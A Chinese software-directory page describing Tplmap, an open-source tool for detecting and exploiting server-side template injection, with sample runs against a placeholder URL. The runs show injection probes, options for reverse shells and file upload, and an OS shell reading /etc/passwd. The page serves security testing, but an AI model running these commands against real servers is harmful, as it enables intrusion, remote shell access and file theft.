微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Tplmap 注入漏洞检测工具

程序名称:Tplmap

授权协议: GPLv3

操作系统: 跨平台

开发语言: Python

Tplmap 介绍

自动检测和发掘服务器端模板的注入漏洞。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, VeLocity,
和Twig。

示例:

$ ./tplmap.py -u 'http://www.target.com/app?id=*' 
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Found placeholder in GET parameter 'inj'
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Freemarker plugin is testing blind injection
[+] VeLocity plugin is testing rendering with tag '#set($c=*)\n${c}\n'
[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:

  Engine: Jade
  Injection: \n= *\n
  Context: text
  OS: darwin
  Technique: render
  Capabilities:

   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes

[+] Rerun tplmap providing one of the following options:

   --os-shell or --os-cmd to execute shell commands via the injection
   --upload LOCAL REMOTE to upload files to the server
   --download REMOTE LOCAL to download remote files
   --bind-shell PORT to bind a shell on a port and connect to it
   --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT

$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.

linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd
linux $

支持的模板引擎:

Template engine Detection Command execution Code evaluation File read File write
Mako render+blind yes python yes yes
Jinja2 render+blind yes python yes yes
Nunjucks render+blind yes javascript yes yes
Jade render+blind yes javascript yes yes
Smarty (unsecured) render+blind yes PHP yes yes
Freemarker render+blind yes no yes yes
VeLocity render no no no no
Twig render no no no no
Smarty (secured) render no no no no

Tplmap 官网

https://github.com/epinna/tplmap

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐